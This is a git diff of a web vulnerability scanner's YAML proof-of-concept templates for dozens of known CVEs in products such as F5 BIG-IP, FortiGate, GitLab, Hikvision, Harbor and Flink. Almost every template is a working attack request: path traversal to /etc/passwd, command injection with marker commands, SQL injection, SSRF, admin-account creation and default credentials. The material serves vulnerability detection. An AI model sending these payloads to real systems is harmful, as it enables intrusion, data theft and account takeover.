randomInt(800000000, 1000000000) +rules: + - method: POST + path: /mgmt/tm/util/bash + headers: + Content-Type: application/json + Authorization: Basic YWRtaW46 + X-F5-Auth-Token: " " + body: >- + {"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Hex + links: + - https://support.f5.com/csp/article/K03009991 diff --git a/WebScan/pocs/feifeicms-lfr.yml b/WebScan/pocs/feifeicms-lfr.yml new file mode 100644 index 0000000..a8d4748 --- /dev/null +++ b/WebScan/pocs/feifeicms-lfr.yml @@ -0,0 +1,10 @@ +name: poc-yaml-feifeicms-lfr +rules: + - method: GET + path: /index.php?s=Admin-Data-down&id=../../Conf/config.php + expression: | + response.status == 200 && response.body.bcontains(b"") && response.body.bcontains(b"") +detail: + author: l1nk3r(http://www.lmxspace.com/) + links: + - http://foreversong.cn/archives/1378 diff --git a/WebScan/pocs/flexpaper-cve-2018-11686.yml b/WebScan/pocs/flexpaper-cve-2018-11686.yml new file mode 100644 index 0000000..ddcd48a --- /dev/null +++ b/WebScan/pocs/flexpaper-cve-2018-11686.yml @@ -0,0 +1,38 @@ +name: poc-yaml-flexpaper-cve-2018-11686 +set: + fileName: randomLowercase(6) + verifyStr: randomLowercase(6) +rules: + - method: POST + path: /php/change_config.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a + expression: | + response.status == 302 || response.status == 200 + - method: POST + path: /php/change_config.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a + expression: | + response.status == 302 || response.status == 200 + - method: GET + path: >- + /php/setup.php?step=2&PDF2SWF_PATH=printf%20{{verifyStr}}%25%25{{verifyStr}}%20%3e%20{{fileName}} + follow_redirects: false + expression: | + response.status == 200 + - method: GET + path: >- + /php/{{fileName}}pdf2swf + expression: | + response.status == 200 && response.body.bcontains(bytes(string(verifyStr + "%" + verifyStr))) +detail: + author: Soveless(https://github.com/Soveless) + Affected Version: "FlexPaper <= 2.3.6" + links: + - https://github.com/mpgn/CVE-2018-11686 + - https://cloud.tencent.com/developer/article/1472550 diff --git a/WebScan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml b/WebScan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml new file mode 100644 index 0000000..48d43a2 --- /dev/null +++ b/WebScan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml @@ -0,0 +1,10 @@ +name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi +rules: + - method: GET + path: /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd + expression: | + response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body) +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519 diff --git a/WebScan/pocs/flir-ax8-file-read.yml b/WebScan/pocs/flir-ax8-file-read.yml deleted file mode 100644 index 6a77cc7..0000000 --- a/WebScan/pocs/flir-ax8-file-read.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: poc-yaml-flir-ax8-file-read -rules: - - method: GET - path: "/download.php?file=/etc/passwd" - follow_redirects: false - expression: | - response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) -detail: - author: Print1n(http://print1n.top) - links: - - https://juejin.cn/post/6961370156484263972 \ No newline at end of file diff --git a/WebScan/pocs/fortigate-cve-2018-13379-readfile.yml b/WebScan/pocs/fortigate-cve-2018-13379-readfile.yml new file mode 100644 index 0000000..fdaf388 --- /dev/null +++ b/WebScan/pocs/fortigate-cve-2018-13379-readfile.yml @@ -0,0 +1,13 @@ +name: poc-yaml-fortigate-cve-2018-13379-readfile + +rules: + - method: GET + path: "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" + headers: + Content-Type: application/x-www-form-urlencoded + follow_redirects: true + expression: response.body.bcontains(bytes("fgt_lang")) && response.body.bcontains(bytes("Forticlient")) +detail: + author: tom0li(https://tom0li.github.io/) + links: + - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html diff --git a/WebScan/pocs/frp-dashboard-unauth.yml b/WebScan/pocs/frp-dashboard-unauth.yml new file mode 100644 index 0000000..2e326af --- /dev/null +++ b/WebScan/pocs/frp-dashboard-unauth.yml @@ -0,0 +1,21 @@ +name: poc-yaml-frp-dashboard-unauth +groups: + unauth: + - method: GET + path: /api/proxy/tcp + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies") + defaultpassword: + - method: GET + path: /api/proxy/tcp + follow_redirects: false + expression: | + response.status == 401 && response.body.bcontains(b"Unauthorized") + - method: GET + path: /api/proxy/tcp + headers: + Authorization: Basic YWRtaW46YWRtaW4= + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies") diff --git a/WebScan/pocs/gateone-cve-2020-35736.yml b/WebScan/pocs/gateone-cve-2020-35736.yml new file mode 100644 index 0000000..9d2df30 --- /dev/null +++ b/WebScan/pocs/gateone-cve-2020-35736.yml @@ -0,0 +1,15 @@ +name: poc-yaml-gateone-cve-2020-35736 +rules: + - method: GET + follow_redirects: true + path: "/" + expression: response.status == 200 && response.body.bcontains(b"GateOne.init") && response.body.bcontains(b"href=\"/static/gateone.css\"") + - method: GET + follow_redirects: false + path: "/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: tangshoupu + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-35736 diff --git a/WebScan/pocs/gilacms-cve-2020-5515.yml b/WebScan/pocs/gilacms-cve-2020-5515.yml new file mode 100644 index 0000000..1e6c189 --- /dev/null +++ b/WebScan/pocs/gilacms-cve-2020-5515.yml @@ -0,0 +1,12 @@ +name: poc-yaml-gilacms-cve-2020-5515 +set: + r1: randomInt(200000000, 210000000) +rules: + - method: GET + path: /admin/sql?query=SELECT%20md5({{r1}}) + expression: | + response.body.bcontains(bytes(md5(string(r1)))) +detail: + author: PickledFish(https://github.com/PickledFish) + links: + - https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-admin-sqlquery-sql-injection/ diff --git a/WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml b/WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml deleted file mode 100644 index 8fe94ce..0000000 --- a/WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml +++ /dev/null @@ -1,15 +0,0 @@ -name: poc-yaml-gitlab-cnvd-2021-14193-infoleak -rules: - - method: POST - path: /api/graphql - headers: - Content-Type: application/json - body: >- - {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null} - follow_redirects: false - expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("avatarUrl")) -detail: - author: 说书人(http://python.vin/) - links: - - https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193 - - https://gitlab.com/gitlab-org/gitlab/-/issues/244275 \ No newline at end of file diff --git a/WebScan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml b/WebScan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml new file mode 100644 index 0000000..82c1fe4 --- /dev/null +++ b/WebScan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml @@ -0,0 +1,15 @@ +name: poc-yaml-gitlab-graphql-info-leak-cve-2020-26413 +rules: + - method: POST + path: /api/graphql + headers: + Content-Type: application/json + body: |- + {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null} + expression: |- + response.status == 200 && "x-runtime" in response.headers && response.body.bcontains(b"{\"data\":{\"users\":{\"edges\":[{\"node\":{\"username\":\"") && "\",\"email\":\"[^\"]+@[^\"]+\"".bmatches(response.body) +detail: + author: Print1n(https://github.com/Print1n) + description: GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193 / CVE-2020-26413 + links: + - https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/GitLab/GitLab%20Graphql%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E%20CVE-2020-26413/ diff --git a/WebScan/pocs/gitlab-ssrf-cve-2021-22214.yml b/WebScan/pocs/gitlab-ssrf-cve-2021-22214.yml new file mode 100644 index 0000000..acdfcc0 --- /dev/null +++ b/WebScan/pocs/gitlab-ssrf-cve-2021-22214.yml @@ -0,0 +1,14 @@ +name: poc-yaml-gitlab-ssrf-cve-2021-22214 +rules: + - method: POST + path: /api/v4/ci/lint + headers: + Content-Type: application/json + body: | + {"include_merged_yaml": true, "content": "include:\n remote: http://baidu.com/api/v1/targets/?test.yml"} + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"{\"status\":\"invalid\",\"errors\":") && (response.body.bcontains(b"does not have valid YAML syntax") || response.body.bcontains(b"could not be fetched")) +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ diff --git a/WebScan/pocs/gitlist-rce-cve-2018-1000533.yml b/WebScan/pocs/gitlist-rce-cve-2018-1000533.yml new file mode 100644 index 0000000..f774c20 --- /dev/null +++ b/WebScan/pocs/gitlist-rce-cve-2018-1000533.yml @@ -0,0 +1,25 @@ +name: poc-yaml-gitlist-rce-cve-2018-1000533 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) + r3: randomLowercase(8) +rules: + - method: GET + path: / + search: | + (?P.+?) + expression: | + response.status == 200 && "gitlist".bmatches(response.body) + - method: POST + path: /{{project_name}}/tree/a/search + headers: + Content-Type: application/x-www-form-urlencoded + body: | + query=--open-files-in-pager=echo%20{{r3}}:$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n(https://print1n.top) + description: gitlist 0.6.0 远程命令执行漏洞（CVE-2018-1000533） + links: + - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 \ No newline at end of file diff --git a/WebScan/pocs/glassfish-cve-2017-1000028-lfi.yml b/WebScan/pocs/glassfish-cve-2017-1000028-lfi.yml new file mode 100644 index 0000000..ee3aebb --- /dev/null +++ b/WebScan/pocs/glassfish-cve-2017-1000028-lfi.yml @@ -0,0 +1,12 @@ +name: poc-yaml-glassfish-cve-2017-1000028-lfi +rules: + - method: GET + path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:") +detail: + version: <4.1.0 + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0 \ No newline at end of file diff --git a/WebScan/pocs/go-pprof-leak.yml b/WebScan/pocs/go-pprof-leak.yml new file mode 100644 index 0000000..6f26d9a --- /dev/null +++ b/WebScan/pocs/go-pprof-leak.yml @@ -0,0 +1,15 @@ +name: poc-yaml-go-pprof-leak +rules: + - method: GET + path: "/debug/pprof/" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"Types of profiles available"))) && response.body.bcontains(bytes(string(b"Profile Descriptions"))) + - method: GET + path: "/debug/pprof/goroutine?debug=1" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"goroutine profile: total"))) +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "go pprof leak" + links: + - https://cloud.tencent.com/developer/news/312276 diff --git a/WebScan/pocs/gocd-cve-2021-43287.yml b/WebScan/pocs/gocd-cve-2021-43287.yml new file mode 100644 index 0000000..4db70a5 --- /dev/null +++ b/WebScan/pocs/gocd-cve-2021-43287.yml @@ -0,0 +1,17 @@ +name: poc-yaml-gocd-cve-2021-43287 +groups: + linux0: + - method: GET + path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../etc/passwd + follow_redirects: false + expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows0: + - method: GET + path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../windows/win.ini + follow_redirects: false + expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) +detail: + author: For3stCo1d (https://github.com/For3stCo1d) + description: "Gocd-file-read" + links: + - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover diff --git a/WebScan/pocs/h2-database-web-console-unauthorized-access.yml b/WebScan/pocs/h2-database-web-console-unauthorized-access.yml new file mode 100644 index 0000000..92c3b6b --- /dev/null +++ b/WebScan/pocs/h2-database-web-console-unauthorized-access.yml @@ -0,0 +1,18 @@ +name: poc-yaml-h2-database-web-console-unauthorized-access +rules: + - method: GET + path: /h2-console + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(b"Welcome to H2") + search: | + location.href = '(?P.+?)' + - method: GET + path: /h2-console/{{token}} + expression: | + response.status == 200 && response.body.bcontains(b"Generic H2") +detail: + author: jujumanman (https://github.com/jujumanman) + links: + - https://blog.csdn.net/zy15667076526/article/details/111413979 + - https://github.com/vulhub/vulhub/tree/master/h2database/h2-console-unacc diff --git a/WebScan/pocs/h3c-imc-rce.yml b/WebScan/pocs/h3c-imc-rce.yml new file mode 100644 index 0000000..e6eda22 --- /dev/null +++ b/WebScan/pocs/h3c-imc-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-h3c-imc-rce +set: + r1: randomLowercase(8) + r2: randomLowercase(8) + r3: randomLowercase(8) + r4: randomLowercase(8) +rules: + - method: POST + path: /imc/javax.faces.resource/dynamiccontent.properties.xhtml + follow_redirects: false + body: | + pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo%20{{r1}}${{{r2}}}{{r3}}^{{r4}} + expression: | + response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw diff --git a/WebScan/pocs/h3c-secparh-any-user-login.yml b/WebScan/pocs/h3c-secparh-any-user-login.yml index d9f265f..50b042e 100644 --- a/WebScan/pocs/h3c-secparh-any-user-login.yml +++ b/WebScan/pocs/h3c-secparh-any-user-login.yml @@ -1,10 +1,10 @@ name: poc-yaml-h3c-secparh-any-user-login rules: - method: GET - path: "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin" + path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin expression: | - response.status == 200 && ("错误的id".bmatches(response.body) || "审计管理员".bmatches(response.body)) + response.status == 200 && "错误的id".bmatches(response.body) && "审计管理员".bmatches(response.body) && "admin".bmatches(response.body) detail: author: Print1n(https://print1n.top) links: - - https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E \ No newline at end of file + - https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E diff --git a/WebScan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml b/WebScan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml new file mode 100644 index 0000000..9793c55 --- /dev/null +++ b/WebScan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-h5s-video-platform-cnvd-2020-67113-unauth +groups: + h5s1: + - method: GET + path: /api/v1/GetSrc + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_AUTO") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd") + h5s2: + - method: GET + path: /api/v1/GetDevice + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_DEV") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd") +expression: h5s1() || h5s2() +detail: + author: iak3ec(https://github.com/nu0l) + payload: /#/Dashboard | /#/Settings/Camera + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2020-67113 diff --git a/WebScan/pocs/hadoop-yarn-unauth.yml b/WebScan/pocs/hadoop-yarn-unauth.yml new file mode 100644 index 0000000..860bfea --- /dev/null +++ b/WebScan/pocs/hadoop-yarn-unauth.yml @@ -0,0 +1,13 @@ +name: poc-yaml-hadoop-yarn-unauth +rules: + - method: GET + path: /ws/v1/cluster/info + follow_redirects: true + headers: + Content-Type: application/json + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"resourceManagerVersionBuiltOn") && response.body.bcontains(b"hadoopVersion") +detail: + author: p0wd3r,sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn diff --git a/WebScan/pocs/hanming-video-conferencing-file-read.yml b/WebScan/pocs/hanming-video-conferencing-file-read.yml new file mode 100644 index 0000000..77cf9d7 --- /dev/null +++ b/WebScan/pocs/hanming-video-conferencing-file-read.yml @@ -0,0 +1,20 @@ +name: poc-yaml-hanming-video-conferencing-file-read +groups: + windows: + - method: GET + path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) + + linux: + - method: GET + path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + +detail: + author: kzaopa(https://github.com/kzaopa) + links: + - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA \ No newline at end of file diff --git a/WebScan/pocs/harbor-cve-2019-16097.yml b/WebScan/pocs/harbor-cve-2019-16097.yml new file mode 100644 index 0000000..998ac04 --- /dev/null +++ b/WebScan/pocs/harbor-cve-2019-16097.yml @@ -0,0 +1,24 @@ +name: poc-yaml-harbor-cve-2019-16097 +set: + r1: randomInt(5, 10) + r2: randomLowercase(r1) +rules: + - method: GET + path: / + expression: response.body.bcontains(b"Harbor") + - method: POST + path: /api/users + headers: + Content-Type: application/json + body: >- + {"username": "{{r2}}", "has_admin_role": true, "password": "{{r2}}", + "email": "{{r2}}@example.com", "realname": "{{r2}}"} + follow_redirects: false + expression: | + response.status == 201 +detail: + author: scanf & Soveless(https://github.com/Soveless) & cc_ci(https://github.com/cc8ci) + links: + - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/ + - https://github.com/goharbor/harbor/issues/8951 + - https://www.freebuf.com/vuls/214767.html \ No newline at end of file diff --git a/WebScan/pocs/hikvision-cve-2017-7921.yml b/WebScan/pocs/hikvision-cve-2017-7921.yml index 78e8440..9fda1f5 100644 --- a/WebScan/pocs/hikvision-cve-2017-7921.yml +++ b/WebScan/pocs/hikvision-cve-2017-7921.yml @@ -4,8 +4,8 @@ rules: path: /system/deviceInfo?auth=YWRtaW46MTEK follow_redirects: false expression: | - response.status == 200 && response.body.bcontains(b"") && response.headers["content-type"] == "application/xml" + response.status == 200 && response.headers["content-type"] == "application/xml" && response.body.bcontains(b"") detail: author: whwlsfb(https://github.com/whwlsfb) links: - - https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html \ No newline at end of file + - https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html diff --git a/WebScan/pocs/hikvision-info-leak.yml b/WebScan/pocs/hikvision-info-leak.yml new file mode 100644 index 0000000..bfb2b9a --- /dev/null +++ b/WebScan/pocs/hikvision-info-leak.yml @@ -0,0 +1,17 @@ +name: poc-yaml-hikvision-info-leak +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"流媒体管理服务器") && response.body.bcontains(b"海康威视") + - method: GET + path: /config/user.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"$(echo {{r1}}${{{r2}}}{{r3}}^{{r4}}>webLib/{{r4}}) + expression: response.status == 500 && response.body.bcontains(b"/SDK/webLanguage") + - method: GET + path: /{{r4}} + headers: + Content-Type: application/json;charset=utf-8 + expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + - method: PUT + path: /SDK/webLanguage + headers: + X-Requested-With: XMLHttpRequest + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + body: | + $(rm webLib/{{r4}}) + expression: response.status == 500 +detail: + author: york + links: + - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html + - https://github.com/Aiminsun/CVE-2021-36260 diff --git a/WebScan/pocs/hjtcloud-arbitrary-fileread.yml b/WebScan/pocs/hjtcloud-arbitrary-fileread.yml new file mode 100644 index 0000000..c1c45e6 --- /dev/null +++ b/WebScan/pocs/hjtcloud-arbitrary-fileread.yml @@ -0,0 +1,12 @@ +name: poc-yaml-hjtcloud-arbitrary-fileread +groups: + linux: + - method: POST + path: /fileDownload?action=downloadBackupFile + body: fullPath=/etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20fileDownload%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/hjtcloud-directory-file-leak.yml b/WebScan/pocs/hjtcloud-directory-file-leak.yml new file mode 100644 index 0000000..59f5f54 --- /dev/null +++ b/WebScan/pocs/hjtcloud-directory-file-leak.yml @@ -0,0 +1,11 @@ +name: poc-yaml-hjtcloud-directory-file-leak +rules: + - method: GET + path: "/him/api/rest/V1.0/system/log/list?filePath=../" + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"absolutePath\":\"/var/logs/") +detail: + author: YekkoY + description: "会捷通云视讯 list 目录文件泄露漏洞" + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20list%20%E7%9B%AE%E5%BD%95%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/huawei-home-gateway-hg659-fileread.yml b/WebScan/pocs/huawei-home-gateway-hg659-fileread.yml new file mode 100644 index 0000000..ba2d070 --- /dev/null +++ b/WebScan/pocs/huawei-home-gateway-hg659-fileread.yml @@ -0,0 +1,10 @@ +name: poc-yaml-huawei-home-gateway-hg659-fileread +rules: + - method: GET + path: /lib///....//....//....//....//....//....//....//....//etc//passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4210 diff --git a/WebScan/pocs/ifw8-router-cve-2019-16313.yml b/WebScan/pocs/ifw8-router-cve-2019-16313.yml new file mode 100644 index 0000000..75ac364 --- /dev/null +++ b/WebScan/pocs/ifw8-router-cve-2019-16313.yml @@ -0,0 +1,21 @@ +name: poc-yaml-ifw8-router-cve-2019-16313 +rules: + - method: GET + path: >- + /index.htm?PAGE=web + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"www.ifw8.cn") + - method: GET + path: >- + /action/usermanager.htm + follow_redirects: false + expression: > + response.status == 200 && "\"pwd\":\"[0-9a-z]{32}\"".bmatches(response.body) +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "v4.31" + links: + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16313 + - http://www.iwantacve.cn/index.php/archives/311/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-16312 \ No newline at end of file diff --git a/WebScan/pocs/influxdb-unauth.yml b/WebScan/pocs/influxdb-unauth.yml new file mode 100644 index 0000000..729668d --- /dev/null +++ b/WebScan/pocs/influxdb-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-influxdb-unauth +rules: + - method: GET + path: /ping + follow_redirects: true + expression: | + response.status == 204 && "x-influxdb-version" in response.headers + - method: GET + path: /query?q=show%20users + follow_redirects: true + expression: > + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"columns") && response.body.bcontains(b"user") +detail: + author: p0wd3r + links: + - https://docs.influxdata.com/influxdb/v1.7/tools/api/ \ No newline at end of file diff --git a/WebScan/pocs/inspur-tscev4-cve-2020-21224-rce.yml b/WebScan/pocs/inspur-tscev4-cve-2020-21224-rce.yml new file mode 100644 index 0000000..e853886 --- /dev/null +++ b/WebScan/pocs/inspur-tscev4-cve-2020-21224-rce.yml @@ -0,0 +1,13 @@ +name: poc-yaml-inspur-tscev4-cve-2020-21224-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /login + body: op=login&username=1 2\',\'1\'\);`expr%20{{r1}}%20%2b%20{{r2}}` + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: jingling(https://github.com/shmilylty) + links: + - https://github.com/NS-Sp4ce/Inspur diff 